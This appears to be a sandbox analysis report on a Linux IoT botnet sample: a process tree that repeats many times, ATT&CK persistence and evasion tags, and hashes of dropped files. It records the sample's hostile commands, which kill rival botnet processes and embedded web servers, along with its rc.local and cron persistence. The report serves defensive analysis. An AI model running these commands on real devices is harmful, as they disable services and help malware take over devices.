/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1499
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1500
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1501
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1502
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1503
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1504
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1505
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1506
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1507
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1508
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1509
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1510
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1511
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1512
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1513
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1514
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1515
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1516
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1517
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1518
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1519
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1520
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1521
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1522
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1523
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1524
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1525
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1526
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1527
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1528
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1529
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1530
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1531
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1532
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1533
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1534
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1535
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1536
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1537
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1538
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1539
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1540
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1541
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1542
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1543
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1544
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1545
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1546
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1547
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:1548
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1549
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1550
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1551
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:1552
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1553
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1554
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1555
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1556
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1557
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1558
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1559
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1560
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1561
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1562
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1563
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1564
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1565
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1566
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1567
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1568
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1569
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1570
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1571
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1572
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1573
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1574
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1575
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1576
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1577
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1578
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1579
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1580
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1581
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1582
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1583
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1584
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1585
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1586
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1587
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1588
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1589
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1590
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1591
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1592
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1593
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵
- Reads runtime system information
PID:1594
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1595
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1596
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1597
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1598
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1599
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1600
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1601
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1602
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1603
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- Reads runtime system information
PID:1604
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1605
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1606
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1607
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1608
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1609
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1610
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1611
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1612
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1613
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1614
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1615
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1616
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1617
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1618
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1619
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1620
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1621
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1622
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1623
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1624
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1625
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1626
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1627
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1628
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1629
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1630
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1631
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1632
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1633
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1634
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1635
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1636
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1637
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1638
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1639
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1640
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1641
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1642
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1643
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- Reads runtime system information
PID:1644
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1645
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1646
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1647
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/rc.local
- Size 31B
- SHA256 8d3b826228d431fcf2ed0dbc47303972ec85d2404efbe710f6ac58f6c3a527ad
- MD5 e48759bd7f4b9d35786272ffbc519e4a
- SHA1 35e07b5f1ede79d6774ff0525bbe56c8561c66b0
- SHA512 c55b0add87693c6ccab89093bf78089edfc72a5b4b4f87347f7fff55b713b5eee4e2fba2b18e6cf84bd787f53667fcb1249c0ceeba529ba30685fe24c3ea6c08
- MD5 SHA1 SHA512
- Path /tmp/.x
- Size 122KB
- SHA256 781ba83f8a19239e7648bf8067fda3d76f60729cccbf7f3802d0d3e704dedeba
- MD5 38d8fb7abbc1ffd3e5c8993619df1521
- SHA1 e7167b0a0de11ad058812c71c9272d46651732c2
- SHA512 1b4eefe803d30f27614a60ba1b9dd31e2576c348acdc1db334e84969617f55ecad559d405fbf83a9050cdd11329c81f22ee605d5411f1d15924e7574406b456c
- SSDEEP 3072:TCG4HqV+OkijO99OidPdEBW2UHyUyEm9UNuCxh:CHqV3kcO+iYU2Unlm9Uhh
- TLSH T188C312BFC9F351E29E154F474E20EDD5D812923F5E6C633C923B41A9826B23990CB647
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.x
- Size 98KB
- SHA256 354a0ff4cefd426db7ff2aef34246db242263d9c3dd1ae90ded43c82593704c9
- MD5 54f299affe4f62344c775bc1e892afbb
- SHA1 9b7771aaafd5fa9d7153e21e2cc9d14a3256c7ed
- SHA512 7ba477e50130fbf5c1184504ea5de203da5fc353f3f103cbe7c1028e4ce8a247c2cb09ad3877609cd868daa53c6f4b9c1681d786abea2530ccd8b10f8b471264
- SSDEEP 1536:87oxeJphdHtnUFLxbIqsxRygGYtvBel/hx1XdT0l8gQcVJNM0YEM+gV:G7JphdH5UFexs8Xel5PXdJ1Gq4sV
- TLSH T1B6A3F2D3E6AE7E2DE5A2C676891F9439020FD5D251ACB07FCD05A42B9C89CA30359F43
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.x
- Size 117KB
- SHA256 16c3c303ecdc02af887fe7cfccfc852cb0ee3341f60ada93f464dc918e600a85
- MD5 c26fd07fd73e3942b5a1126b580ed406
- SHA1 52b2eb82a87b285f1b929fa6e30cecd381a534f1
